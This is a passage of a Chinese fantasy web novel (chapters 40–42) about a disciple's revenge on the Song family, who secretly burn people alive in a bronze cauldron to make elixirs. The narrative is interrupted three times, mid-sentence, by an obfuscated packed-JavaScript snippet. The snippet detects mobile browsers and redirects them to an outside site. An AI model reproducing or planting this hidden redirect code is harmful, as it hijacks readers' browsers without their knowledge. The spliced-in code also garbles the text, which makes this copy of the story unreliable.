宋漪打了他,后面又像是觉得不妥,向他道歉,劝他回去好好想想。宁展阳向她行礼,正准备起身离开,宋漪忽然又叫住他:“展阳,你记不记得,哥哥去世那天,你被父亲关了紧闭,是我向他求情,放你出来的。” “展阳,你也不希望哥哥白白死掉吧?” 宁展阳心头一颤,脸色就不大好看了,宋漪很满意他的反应,又哄着:“展阳,你一定要向着我,哥哥和澜妹都走了,下一次就会轮到我们。” 宁展阳垂眸:“我明白。” “你那天说过,会报答我的,记得吗?” 宋漪总是这样轻声细语的,看上去无辜可怜。宁展阳没有反应,点了点头:“二小姐的恩情,属下没齿难忘。” 他答应了宋漪结盟的请求。而宋漪为了表达自己的诚意,告诉了宋家一直以来的一个秘密。 活人炼丹。 “父亲一直信奉着炼丹制药可以长生不老。” 宁展阳听着这些话,看到一个人被布袋裹了起来,径直扔进了烧得通红的大鼎里。那人应该是被迷晕了,根本没有挣扎,就这样毫无声息地化为了一缕青烟。 “有成功过吗?”宁展阳感到悲哀。 宋漪笑了笑:“自然没有。我从小就开始帮着父亲炼丹,这几年,这些害人性命的活,都是我在干。” “你一定很惊讶吧,展阳?” 宁展阳沉默不语。 宋漪却说:“这个青铜鼎,是蔚然派的镇派之宝,据说那上面的百兽可以吸收天地之灵气,炼出的丹药也是一等一的上品。” “我想了许久,若是这个青铜鼎,能够与那缚灵阵相结合,会不会能让人的灵魂直接附着在法器上?” “百兽既是能吸收天地之灵气,必定也能吸收人的三魂七魄。” 宋漪勾起嘴角,那跳动的篝火映出她含笑的脸庞,竟显得十分可怖。宁展阳起先不为所动,直到宋漪说道:“再往深处讲,我们这等凡夫俗子,说不定可以借助这样的外力,让人起死回生。” 宁展阳心中大骇:“起死回生,那便是逆天而行,我们这等做法,会死多少无辜之人?” “那又如何?你难道不想再见一见哥哥吗?”宋漪当即冷下脸来,“哥哥对你那么好,你却一点都不念着他,要不我今晚把你也扔进这个青铜鼎中,好让你去找他谢罪?” 宁展阳跪下认错,他那时候还只是一个普通的护卫,比起人多势众的宋漪,他并不是对手。 宁展阳为此感到痛苦。 他需要一个办法,将这里所有人都毁灭,因为一旦失手,他就再也没有机会了。可这也意味着,他要亲眼看着更多无辜的人死去。 “少爷,对不起。” 宁展阳对着那些陶罐磕头。 那陶罐都是宋涟留下的,李闻棋死后,他选择离开了听海崖,临走前,他带了海边许多细软的沙子,装在这些陶罐中。 宁展阳留下了它们,宋忱和宋漪哪怕再有不满,也没有逼他。这对父女似乎都在争取自己的信任,以此来谋求那根本不存在的长生不老的秘密。 他们都要他死,却也要他生,要不断争取,又十分提防。 宁展阳、宋忱、宋漪,三个人之间似乎形成了一个微妙的平衡。从那天起,生死便不再属于个人。 40. 第 40 章 后来,又发生了一件事。 失去姐姐的宋鸿在衣袖里藏了把匕首,刺伤了宋漪。他发疯似的大吼大叫:“我杀了你!我杀了你!” 他语无伦次地叫着“阿姐阿姐”,所有人都说他是个疯子。宁展阳却觉得,他说的话,十有八九是真的。 可为什么,宋漪要害死宋澜?目的是什么呢?宋澜死了,又为何留下了宋鸿这个后患? 宁展阳同样不懂宋漪的做法。 但宋忱却以残害手足为由,对宋鸿进行了长达十多年的虐待,教他求生不得,求死不能。这似乎也在变相地敲打宁展阳,顺我者昌,逆我者亡。 宋漪对此没有表态。 宁展阳不在乎,这些都不重要,他们全都下地狱,才最重要。 他深知宋忱父女远不如表面那般和睦,自然也是见人说人话,见鬼说鬼话,有些时候,他会同情那个可怜的宋鸿。他觉得,宋鸿和自己,某种意义上也算一类人。 所以,当那个从五柳山庄来的年轻人到来时,他便让这人去看着宋鸿。 他认为金伯涛很不错,可惜,对方的到来完完全全打乱了他的计划。 起先是闹鬼。 这件事在金伯涛到来之前就时有发生,可宁展阳却一直没有正面见到过,永远是在别人口中得知的。宋忱责怪他办事不利,经常责罚他。宁展阳也很奇怪,尤其是得知那个鬼影经常在雨夜出现,他便更按耐不住内心的情绪。 他隐约期待着那个影子,是宋涟。 可无论如何,他都见不到,他甚至刻意埋伏在草丛中,等着大雨之中再见那影子,无一例外,全部失败。 “少爷,难道不是你吗?” 宁展阳对着那些陶罐,心中苦涩万分。 可金伯涛一来,那个影子就消失了,宋漪便向宋忱举荐了这个年轻人,大有将他收为己用的趋势。这多年来的平衡一旦被打破,就会朝着不可控制的方向发展。 宁展阳察觉到金伯涛其实经常会“失踪”。 这种失踪在于每次江心洲有变故,金伯涛都不在场。说来也奇怪,自从宋涟死后,这江心洲每年夏天都会下雨打雷,而宋家又林木颇多,经常会引来雷火,导致走水。 每到这个时候,金伯涛都不在场。 时间久了,宁展阳便起了疑心,可问话的时候,金伯涛却给他来了一句“我害怕”。 这件事被广为传播,一时之间,他就沦为了笑柄。许多年轻的护卫都不是很服他,认为这样一个下雨打雷的懦夫也能成为副守卫长,实在是太过荒唐。 宁展阳也是这么想的,但荒唐归荒唐,只要他没有对自己的计划造成威胁便好。 可惜,金伯涛恰恰是那个搅局之人。 宁展阳说完自己的一切,冷冷地看向李见尘,对方笑笑:“瞧我做什么?又不是我害得宋涟没了命。” “少爷生前,曾经设坛做法,请你施以援手,可你没有。” 宁展阳至今都记得宋涟绝望的眼神,这是压死他的最后一根稻草。 宋涟祈求李见尘可以拯救李闻棋,为此他拖着病躯,不顾阻拦,开坛设法,可最后却无所回应。失去所有希望的宋涟更是彻底丧失求生的欲望,坠入无边的死寂当中。 “所以你恨我?”李见尘不以为意。 “当时不恨你,我以为你一直在沉睡,甚至以为你并不存在于这个人间,可是我错了。” “你答应宋忱的请求,出现在祭台上的那一刻开始,我就决定,也要将你一并投入那个青铜鼎中,炼化成器,助我复仇!” 宁展阳难以形容自己当时的震惊、错愕和无尽的痛苦。 近几年,他能感觉到宋忱愈发的焦躁、恐惧和不安起来,也许是时间流逝,他还没能找到长生不老之术,也许是他终于发现,宋漪给他进奉的,用以延年益寿的丹药,其实并没有任何效果。 但迫使他铤而走险的,却是一件不知真假的事情。 那天,宋忱找到他,问他:“展阳,近来你可有察觉到异样?” “不曾。” 宁展阳确实不知道,这几年,除了金伯涛这个变数,其他的并没有异常。 “我见到宋澜了。” 宁展阳一愣,就见宋忱坐着,似有些惴惴不安:“她还背着把剑,你说,她是不是来找我索命的?” “庄主莫有忧心,这,这宋澜不慎溺水,与庄主有何干系?” “若不是我溺爱漪儿,她,她也——” 宋忱重重地叹了一口气,宁展阳只觉得这惺惺作态令人作呕,可他没有表现出来,只是谏言:“如果庄主忧虑,不如请几个能人异士前来这江心洲,好生保护庄主。” “能人异士。” 宋忱默默低语:“请谁呢?” 宁展阳没有多言,但他心里有答案。 他说:“天下人才济济,终会有人来的,只要我们肯花高价——” “不,你不懂,花钱请来的,不一定都是能人异士。”宋忱眼底闪过一丝晦涩,他道,“前几年,这江心洲不是闹鬼?听说金伯涛解决了此事,你可知他用了何种办法?” “不知,他只说是师门秘诀,不肯告知于我。” “哦,这样。”宋忱看上去有些稀里糊涂的,但宁展阳不敢太大意,他道:“庄主若是有需要,我现在就去请他来。” “庄上人都说你们不和,你现在去请他,他恐怕会觉得这是一场鸿门宴,不会尽心为我的。” 宋忱一贯不管这些事,可今天却突然提起来,宁展阳觉得并不简单。 宋忱说着:“你不要担心,我素来信任你,我的意思是,金伯涛毕竟是漪儿举荐过来的,又是五柳山庄的人,和我们多少有点距离。” “是。” “宋澜这次回来,恐怕来者不善,我们早做打算吧。” 宋忱那时候,就十分疑神疑鬼,而第一个护卫失踪的时候,他就更加肯定了心中所想。 “宋澜一定是来索命的。”宋忱万分笃定,“她就是要来寻仇,只是没能杀掉宋漪,只害死了一个护卫。” 宁展阳选择沉默,可宋忱后来的话却让他很是意外。 “我要请祖师爷出山。” 这无疑令人费解。 请李见尘出山,且不说他会不会出来,能不能出来,再说出来了,他若是得知李闻棋是被宋忱毒死的,怎么可能置之不理? 但宁展阳没有反驳。因为李见尘一旦来到,于他而言,十分有利。 他很快帮助宋忱开坛设法。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762398|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李见尘果真现身了。 那一刻,这数十年来的苦痛被无限放大,他没有想到李见尘会现身,甚至答应宋忱,定会找到神出鬼没的宋澜。 “谢祖师爷成全。” 宋忱再三叩首。 ………… 宁展阳哂笑一声,似是在自嘲:“我原先不理解你为什么会现身,为什么要帮宋忱,我原以为是宋忱以李闻棋的肉身为要挟,迫使你前来,现在看来,这不过是你计划的一环,就算宋忱不曾召唤你,你也一定会找个理由前来的,对吗?” 李见尘笑笑:“我确实会来,但一定得是宋忱请我来。” 他顿了顿,说道:“你难道没有发现,宋漪已经很长时间没有出现了吗?” 宁展阳神色一凛。 “从我知道闻棋在你们手上开始,你们就都是我复仇计划中的棋子。” 李见尘勾起嘴角:“就让我来告诉你,那些你不明白的事情吧。” 他歪了下头,食指轻轻按在了孙雪华的剑锋上,笑着:“有劳孙掌门,给我些时间。” 孙雪华纹丝未动。 “是你让金伯涛将那些骨韘嵌在缚灵阵上的?” “是。” “此阵如此之庞大,想必从金伯涛刚刚进入这江心洲开始,你就已经在谋划了。” “对。”李见尘仍是那般玩世不恭的样子,“不过我并没有告诉金伯涛我最终的计划。他是个好孩子,我怕他一时心软,就不愿意再帮我了。” 孙雪华的剑锋又逼近了几分,一点寒芒闪过他的眼瞳,竟让李见尘觉得,他似乎有些伤心。 “你布下此阵,就是想借此次寿宴,将这江心洲上的所有人一网打尽,加以炼化,供养你那颗金珠,对吗?” “哎呀呀,小雪真的好聪明,不枉我这么喜欢你。”李见尘很是满意,“我原本就是这么计划的。毕竟我找了许久李闻棋,可始终不见他的肉身,那时候我就知道,他一定被某种强大的术法封印了。” 他看了眼孙雪华,脸上笑意不减:“说到这件事,如果不是小雪来到我身边,我还真不知道要怎么办。” “宋漪将李闻棋的遗体带回,并锁在江底石柱之中,此招虽险,但胜算颇大,我无法入水,力量也不足以破开封印,她正好以此为要挟,迫使我同意她的条件。” 李见尘观察着孙雪华的神色,那张薄唇紧抿,似乎是在压抑自己的怒火。 李见尘微叹,好像觉得有点无趣:“孙掌门,你还是心太软,要是我坠江之后,你没有救我,结局一定大为不同。” “你后悔吗?”他笑问,满心期待着对方的答案。 “不后悔。” “哦?” “我可以为我自己做出的任何决定,承担所有后果,所以我不后悔。” 李见尘听了,不大满意:“孙掌门,你总是这么自信,我不喜欢你这样。” “闭上你的嘴。”孙雪华低喝,“解开你的法阵,否则休怪我剑下无情。” “那可不行,我要是答应你,岂不是功亏一篑?” 李见尘转了下手中长箫,抵在了孙雪华的剑锋上,“说起来,我还未和你真正交过手。” “当真是,令人期待啊,孙掌门。” 41. 第 41 章 天光乍破,风动林梢,孙雪华额前的碎发微微扬起,眉头微蹙,薄唇紧抿,更衬得那双黑白分明的眼睛尤为倔强。李见尘从未见过他这副神态,竟有些晃神,喃喃着:“孙掌门,你这样还真是少见。” “少废话,解,还是不解?” 孙雪华的剑锋又逼近几分,李见尘嗤笑:“如果你愿意放下身段来求我的话,我或许会改变主意。” 一道寒光闪过,他抬手,长箫的箫孔便卡住了剑锋,只听一声细碎的怪异声响,孙雪华直觉不对,迅速抽了剑,再看,那剑锋上竟隐约有了裂痕。 “这把剑是宋涟的吧?” 李见尘笑眯眯的,毫不避讳,宁展阳的脸色顿时沉了下来,只听对方又道:“宋涟的剑,也出自听海崖,我最了解。” “这把剑不行的,接不住我三招,就会断掉。” 李见尘一副胜券在握的模样,孙雪华却将手中长剑交回了宁展阳手上:“宁护卫,拜托你先去找尹姑娘,这里我来解决。” “你没有剑,能行吗?” 哪怕你是正道魁首,哪怕你是当之无愧的天下第一,但万事总有意外,对不对? 宁展阳没有说完,孙雪华随手捡起一根树枝,挽了个剑花:“你无须担心,照我说的去做便好,拜托了。” 宁展阳一愣,而后郑重地点了点头:“嗯。” “拦住他。” 李见尘发了话,阿音与李闻棋同时出招,孙雪华单手掐诀,灵气横扫,将二人震出三尺外。 “今日,谁都不许踏出这一步。” 孙雪华沉声,飒飒而立,巍巍如天地日月,不可俯仰。 李见尘顿时兴奋起来,他摆摆手,挥退阿音与李闻棋,笑道:“孙掌门,你当真与众不同。” 孙雪华眉眼低垂,并未接话。 高手过招,往往在乎一瞬。 须臾之间,李见尘便逼近眼前,那支长箫光芒大作,似是冷剑出鞘,极为锋利。孙雪华右撤一步,抬手便是一击,干净利落地打在他腕骨上,可那宝珠灵光一闪,竟是直接震断了那根树枝。碎屑擦过孙雪华的眉眼,留下一道浅浅的血痕,很快就消失不见。李见尘不知为何,心下犹豫,稍稍收了些力,不曾想,对方反手一刺,那断枝顿时没入自己掌心,李见尘吃痛,不怒反笑:“孙掌门,我对你处处留情,你怎么要对我赶尽杀绝?” 孙雪华不言,一脚踢飞了他手中长箫,挥拳打中了他肩侧,那一拳使了十足的力量,打得李见尘半个身子都麻了。他踉跄两步,似是要倒下去,孙雪华一把拽住他的衣襟,将人按倒在此。 “解还是不解?”孙雪华揪着他的衣领,坐在他身上,眉眼间怒气横溢,可这日出东方,天光朗朗,李见尘只瞧见了他眼睫边上那道浅浅的伤痕。 “孙掌门,我听闻你这一生遇敌无数,极少有人能伤你,就连当初以身殉道,也只是为了给最终的胜利加上一道筹码,而非不敌。” 李见尘勾起嘴角,不怕死地摸上那人的侧脸,指腹轻轻擦过那点伤痕,笑道:“不知道我算不算这极少数人当中的某一个。” 孙雪华眼睫微颤,沉声道:“解开你的术法。” “我沉寂这么多年,只为这一天,怎可半途而废?”李见尘笑着,掌心依旧紧贴着他的脸颊,“哎呀呀,这张脸,还真是威仪端庄啊。” “你谋划许久,不过是为了了结你与宋家恩怨,可这岛上的宾客是无辜的,你强开法阵,缚灵铸器,这与宋家活人炼丹有何区别?” 孙雪华只觉心头一痛,不知道是为了李见尘,还是因为自己无法阻止这一切。 “宾客就是无辜吗?若是真无辜,又怎会与宋忱这等心狠手辣之人往来频繁?岂不知,近朱者赤,近墨者黑?” 李见尘松了手,笑着,“更何况,数月前天降鬼水,使人躁狂,若不是孙掌门借我宝珠一用,他们早该死了。” “我不过是留着他们活到了今天罢了,何罪之有呢?” 孙雪华紧抿着唇,竟感到一丝悲哀:“来到这江心洲的宾客,就一定与宋忱同流合污吗?你一定闹到血流成河,尸鸿遍野吗?” “是!”李见尘忽地掐住了他的胳膊,眼神中闪过一丝狠厉,“就是如此!本该如此!他们都欠我的!你明白吗!是他们欠我的!” 孙雪华悲从中来,更是愠怒,李见尘一个用力,竟是和人调转了方位。孙雪华没想到他力气这么大,愣了愣,迅速回过神来。二人扭打在一处,默契地没有催发自身灵力,而是拳拳到肉,发泄着各自的情绪,尘土飞扬,发梢凌乱,孙雪华发誓他从未如此狼狈,如此不堪过。他的傲气、自矜、庄重,在碰上李见尘这个无赖后,被砸了个稀烂。 孙雪华感到错愕、愤怒,甚至于是一种不可言说的伤心。 他吼道:“我这么信任你!我这么信任你!哪怕你信口雌黄,巧言令色,我也认了!但你怎么能下此毒手?” 李见尘大笑,死死抓着他的手腕,目不转睛地盯着他,像一头觅食的野狼,浑身上下都散发着危险的气息。 “孙掌门,你是信任我吗?你是觉得不管我如何翻云覆雨,都不会威胁到你,所以才会这么自信!” 孙雪华一头撞在了他鼻梁骨上,李见尘痛极,当下便松了手,孙雪华照着他的命门又是一拳,打得对方直往地上滚。 李见尘只觉口中涌上来一股浓烈的血腥味,抬手一擦,满手是血,他不由笑了一声:“小雪这是要把我五脏六腑打出来啊。” “你现在收手还来得及。” 孙雪华走了过来,脸上灰扑扑的,和他往日那般干净的模样大相径庭,李见尘嗤笑:“孙掌门,事到如今,你还看不清我是个怎样的人吗?怎么还在劝说我回头是岸?” “你对我做的任何事,我都可以原谅你,但别人不会啊。”孙雪华闭了闭眼,竟是十分痛心,李见尘一愣,不知该做何表情:“我难道还需要看别人脸色行事吗?倒是孙掌门,你这样模样,倒像是十分关心我一样。” 孙雪华不言,只听晴空一声巨响,明明是极好的天气,瞬间风云变化,雷电攒动,他猛地神色一滞,这股气息—— “孙掌门,忘记告诉你,我的宝珠可以吸收雷场之力,也能释放此等力量。”李见尘轻笑,“虽不及无渡峰那般声势浩大,但也足够了。” 他的声音迅速淹没在轰鸣的雷电之中,狂风呼啸,摧枯拉朽,一道大雷逼近,孙雪华不得不暂避锋芒,抽身离开原地。李见尘默默掸去衣上尘埃,再凝神,那根长箫又一次出现在了他的手上,箫上宝珠流光溢彩,那莲花纹路璀璨异常,整座江心洲都在微微颤抖。 孙雪华咬牙,双手结印,一道法阵凭空出现,似是要顶开这铺天盖地的大雷,可下一瞬,李见尘却从袖中取出那巴掌大的青铜鼎,孙雪华的心口仿佛被什么东西狠狠撞了一下,有些呼吸不畅。 “趁小雪睡觉的时候拿的。”李见尘单手托着那尊青铜鼎,笑着,“对了,我的故事说到哪儿了?哦,是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762399|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到宋漪一直未能现身。” 他哑声道:“小雪这么聪明,一定知道为什么吧?” “她死了。”孙雪华肩膀微颤,他甚至能猜到,也许是李见尘杀了她,在故事的开端,他就杀了她。 “是。”李见尘站在风云诡谲的雷场中央,衣袂翩跹,发梢飞扬,眉眼含笑,完完全全是一副胸有成竹的胜利者姿态。 “在我来到宋家的那天夜里,我做的第一件事,就是杀了她。” 孙雪华攥紧了双手,掌心的刺痛传来,他才不至于被心中的惊涛骇浪击溃所有理智。 “几年前,我安排金伯涛进入这个江心洲,一方面是要找到闻棋,另一方面,就是想知道当年的真相。但可惜,知晓真相的人,不是死,就是疯了,而罪魁祸首,却依然逍遥快活。” 李见尘叹道:“宋忱怕死,而宋漪,却怕活着。” “她早些年替自己的父亲炼丹,本是受到胁迫,可后来,却发生了一些本质的变化。” 李见尘回忆起自己初到此地时,见到宋漪的情景。 对方一身素衣,坐在窗前,对着一面铜镜梳妆。大概是预料到自己的出现,她脸上并没有丝毫情绪波动,甚至还浅浅地笑了笑,略有些不屑。 这是李见尘第一次见到真实的宋漪。 从前,这只是李闻棋口中的一个名字,一个简单的符号。 “祖师爷深夜到访,有何要事呢?”宋漪终于肯从镜前抬头,一双水润的眼睛非常灵动漂亮,总是惹人心生爱怜,可惜,长在那张脸上,却显得虚伪。 “想问问你,能不能将闻棋还给我?” “是父亲告诉你,他在我这里的?” “嗯。” 宋漪哂笑:“他可真有意思,我将李闻棋带回来,可全是为了他好,要是被母亲发现,她的乖徒儿是被自己的丈夫毒死的,她该多伤心啊。现在倒好,横竖是我里外不是人了,真是可笑。” 李见尘不想听这些虚言,只道:“你将人还我,我可以既往不咎。” “哈哈。”宋漪竟是笑出了声,随手一指,“去吧,他就在江底下,你有本事就将他弄出来。” 李见尘面露不虞:“你们宋家的龌龊事,我一概不管,可闻棋并不欠你们任何人。” “谁让他是大哥的师兄?他活该啊。” “那宋澜也活该吗?” 宋漪听了这话,“腾”地一下站起来:“你不配提这个名字!” “我不配,你配吗?难道宋澜不是你害死的吗?” “哐当——” 宋漪将面前的铜镜砸了过来,可她力不足,那镜子只摔到了李见尘脚尖前面的地上,四分五裂。 宋漪似是气急攻心,脸色一下白了几分,捂着心口跌坐在椅子上,李见尘万分不屑:“就这点本事,还敢在我面前拿腔作势?” 宋漪靠在椅背上,瞪了他一眼:“要杀要剐,悉听尊便,但我告诉你,我与阿妹死生不复相见,你也妄想让李闻棋投胎转世!” “啧。”李见尘的指节轻扣着箫孔,这代表着他在杀与不杀之间犹豫。 “为什么?你为什么对李闻棋恶意这么大?还是说,你恨的人,其实是宋涟?” “我不恨他,那是我亲哥哥,我怎么会恨他呢?”宋漪不知为何,笑了起来,“我只是嫉妒他罢了。” “我与他,一母所生,凭什么他能在听海崖过自由自在的生活,而我,就要像过街老鼠那样,终年不见天日!” 42. 第 42 章 宋漪即使怒不可遏,还是会保持着她作为话事人的高傲姿态。 她与宋涟都是林采荷所生,可两个人的命运,却从出生那一刻起,就背道而驰。 这个世间并不是所有人都适合修行的,人人皆可悟道,但不代表人人都可催生灵气,蕴生灵根。真正拜入宗门,顺利在修道之路上有所建树的,少之又少,大部分人都会在半途重归红尘,甚至有人连拜师入门的资格都没有。 宋漪就是其中的某一个。 她天生力弱,气血运行不畅,灵根难生,连剑柄都握不住,这一点,身为一派掌门的林采荷非常清楚,所以当宋忱提出要教女儿炼丹之术的时候,她并没有反对。可这一切,却成为了宋漪日渐扭曲的源泉。 最开始,宋忱只是教她辨认金石,教她基本的炼丹之法,宋漪学得很快,几乎过目不忘,宋忱对这个女儿十分满意,时常将她带在身边,教导她一些经商之法。 这原本可以是一件称得温馨的童年往事。 坏就坏在,宋忱非是善类。 他年轻时就在追求所谓的长生之法,直到迎娶林采荷,才逐渐有了些进展。他结识了听海崖的门人,其中往来最密切的,就是黎思之。那时候的黎思之虽然年少,可野心早已初露端倪,宋忱就是利用这一点,哄骗他窃取听海崖所藏经书,答应他日后必定助其成为一派掌门。当时的黎思之还未如日后老辣,轻信人言,很快就替宋忱找来藏书,其中不乏一些早早被束之高阁的禁书。 宋忱日日钻研,最终决定铤而走险,采取活人炼丹的方式,将他们的生命力永远定格在一颗小小的丹丸中,以此来供养自身。 为此,他秘密建起了一座江心洲,并花高价请来术士,隐去这座江心洲的踪迹。这也是为什么,小夏和宋鸿会对这座江心洲建立的时间,存在如此之大的偏差。 这之后,宋忱便借着布善施粥的名义,将一些流民、孤儿哄骗上岛,开始了他作恶多端、罄竹难书的一生。他不要那些年迈的老人,只要一些吃不饱饭的年轻人,大部分人才十几岁,有的甚至更小,那些什么姬妾、庶子庶女通通是他的谎言,在这座江心洲,在这座孤岛,他就是唯一的主人,是生杀予夺的王。 宋漪第一次上岛时,才八岁。她亲眼看着一个十五六岁的少年被扔进了烧得通红的青铜鼎中,惨叫两声后再也没了声响。她吓得脸色惨白,死死抓着宋忱的衣角,可对方不为所动,只告诉她:“漪儿,等父亲完成这长生不老之术,我们一家就能永远在一起了。” 宋漪红着眼,小小的身躯一直在发抖,可偏偏宋忱见了她这模样,不知是不是在开玩笑,和她说:“怕了吗?你自己试试,就不怕了。” 宋漪吓得直哭,宋忱微微蹙眉,命人抱来一个尚在襁褓中的婴儿,交到女儿手上,轻声哄着:“去吧。” 那小婴儿初到人世,尚不知险恶,只睁着一双黑葡萄似的眼睛,水灵灵地盯着宋漪看。小姑娘哪里经得住这些,当即就哭了出来,说着:“我不要,我不要,爹爹,我不要。” 宋忱眉头紧锁:“没用的废物。” 言罢,他拂袖而去。 宋漪放声大哭,她怀里的小宝听见了,也跟着大哭,几个仆从也不敢轻举妄动,只是默默站着,面面相觑。 那个孩子幸免于难。 宋漪将她带了回去,交给自己的乳母抚养。 “小姐,当真要养着她吗?”那女人很担忧,她担忧宋漪这么做,会惹得宋忱不高兴。小姑娘摇了摇头:“不知道,再说吧。” 她也没有别的办法,她下不去手,她觉得她应该去求助母亲,将这一切告诉母亲,让母亲来做主,结束这一切。那个小孩伸出小小的手,轻轻抓住了她一根指节,宋漪瞧着她,心里面跟堵了一块棉花似的,她勾着那个小孩的手,晃啊晃,说着:“都怪你,是不是?都怪你。” 小孩听不懂,只是咿咿呀呀地冲着她笑,可爱极了,宋漪想了想,说着:“你还没有名字吧?也不知道你从哪里来,这样,以后你就叫宋澜,跟我姓,我养着你,要是你不听话,我就把你扔到那青铜鼎里,化为灰烬。” 她吓唬着这个小孩,可换来的也只是一张天真无邪的笑脸。 宋漪看着看着,也跟着笑起来。 她在一个月后,跟着宋忱回到了听海崖,和林采荷、宋涟团聚。夜里,她悄悄去找母亲,却见对方坐在一边,看李闻棋与宋涟对弈,一方执白子,一方执黑子。烛火漫漫,一室的宁静祥和。她的母亲、哥哥,还有母亲的大弟子,他们才像是真正的一家人,享受着这个人世最简单最温馨的情感。 宋漪忽地涌出一股难言的嫉妒,凭什么她要为了父亲的志向彻夜不眠,凭什么哥哥可以在母亲膝下承欢,她愤怒地推开房门,冲进去将那盘即将分出胜负的棋子掀翻,并抄起棋盘,狠狠砸在了李闻棋头上,砸得对方血流如注。 宋涟吓了一跳,忙推开她:“你干什么?” 宋漪反倒先哭了出来,大喊大叫:“我讨厌你们!我讨厌你们!” 八岁,正是想要表达,却又无法完全表达清楚的年纪,她只知道自己非常愤怒,非常憎恨,但却无法再往深处思考,她这样粗暴地将所有问题归结到了母亲的偏心上。她将棋盘扔在了地上,哭哭啼啼冲出了屋子,林采荷怕她有个三长两短,急急去追,只留下宋涟手忙脚乱地给李闻棋止血。 “师兄,你没事吧?” 李闻棋那会儿也不大,才十岁出头,可已经是个小大人了,非常明事理,即使疼得龇牙咧嘴,也只是摇摇头:“我没事,你去看看你妹妹吧。” “不去,她好不容易回来一趟,却莫名其妙耍脾气。” 宋涟小时候是个直性子,不懂得如何化干戈为玉帛,李闻棋劝他:“你快去吧,那可是你亲妹妹呀,她不可能无缘无故发脾气的,定是在外面受了委屈才这样,你快去看看她,这种事不好拖着,拖着拖着就有隔阂了。” 宋涟嘴一撇,这才点点头,觉得他师兄说得有道理,才愿意去找宋漪。可等他去到的时候,林采荷已经将她哄睡了。宋涟未曾多想,心下便以为一切都过去了,没事了,殊不知,就是他走慢的这一步,彻底毁掉了他与这个亲妹妹的关系。 林采荷问他:“你师兄怎么样了?” “血止住了,马上我再去看看他。”宋涟看了眼熟睡的宋漪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762400|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方脸上仍有泪痕,他不解,“妹妹怎么了,怎么突然这么大脾气?” 林采荷摇摇头:“想来是我陪她的时间太短,她心里面难过吧。” “那以后要让妹妹和我一起练剑吗?” “你妹妹力弱,承受不了剑气,即便修行,也无法改变这一点,反而会让她受伤。”林采荷长叹,思绪万千,“改日我再与你父亲商量商量吧。” “好。”宋涟没有多问,蹑手蹑脚出去了。 所有人都以为这是一个意外。 只要宋漪自己不这么觉得。 她开始讨厌宋涟,连带着讨厌李闻棋,讨厌听海崖的一切,没有人告诉她,真相并不是这样的,母亲并没有抛弃她,可是,事情偏偏就这么发生了,再没有拨乱反正的机会。 宋漪又一次回到了宋忱身边,那人依然对她和颜悦色,锦衣玉食地养着她,平静得仿佛没有出现过那个青铜鼎,没有出现过那个惨死的少年。宋忱甚至同意让她将宋澜带在身边,哄她说:“乖乖,你喜欢这个妹妹,爹爹就把她送给你,好吗?” 宋漪年纪小,哪分得清虚情假意,她只知道对她好,那就是爱了。父亲就是爱她的,哪怕他活人炼丹,那也是为了自己,为了她能快快长大,等她长大,说不定也能像哥哥那样练剑,快活地度过每一天。 “嗯。”宋漪郑重地点了点头,“爹爹,漪儿什么都能学,什么都会。” 宋忱笑笑,轻轻摸了摸她的头:“乖女儿,你就是比你哥哥聪明。” 提到宋涟,宋漪原本熄灭的妒火又有复燃之势,她仰起脸,非常骄傲地说道:“那是自然。” 宋忱笑着,眼底却闪过一丝隐晦深意,谁都不知道他在心里盘算些什么,年幼的宋漪更不知晓。她轻易地接受了活人炼丹这件事,并坚信着,这是为了他们一家。她分不清对错,她不知对错,林采荷远在听海崖,又被宋忱蒙蔽,更是错过了纠正女儿这一错误认知的机会。 可凡事都有意外。 那个意外,就是当年因为宋漪的一丝善意而活下来的孩子——宋澜。 宋澜是个武学天才。 这个天赋从她初次握剑时,就已经显露。宋漪将她养在身边,她与这位二小姐的关系,就如宁展阳与宋涟的关系。说来似乎都是巧合。也许因为都是练剑之人,宋涟与宋澜反倒更像是亲兄妹,彼此亲厚。宋涟空闲之余,还会让宁展阳给宋澜送剑谱,让她慢慢学,不懂就传书于他。 因为宋澜练剑这件事,本身是不被允许的,尤其是宋忱,对任何脱离他掌控的人或事,都会赶尽杀绝,斩草除根。 可宋漪并不反对,她相当喜欢这个孩子,也许是自己一手养大,颇有成就感,也许是因为宋澜弥补了一部分她自小的遗憾,总而言之,她对宋澜是极好的,好到对方可以一口一个“姐姐”。宋漪甚至给她亲手缝了一个剑穗,挂在她那柄剑上。宋澜得到这个剑穗的第一天,喜不自胜,抱着宋漪不肯撒手,说什么今后这条命都是她的。 那是宋漪为数不多感到轻松、愉悦、幸福的时候。 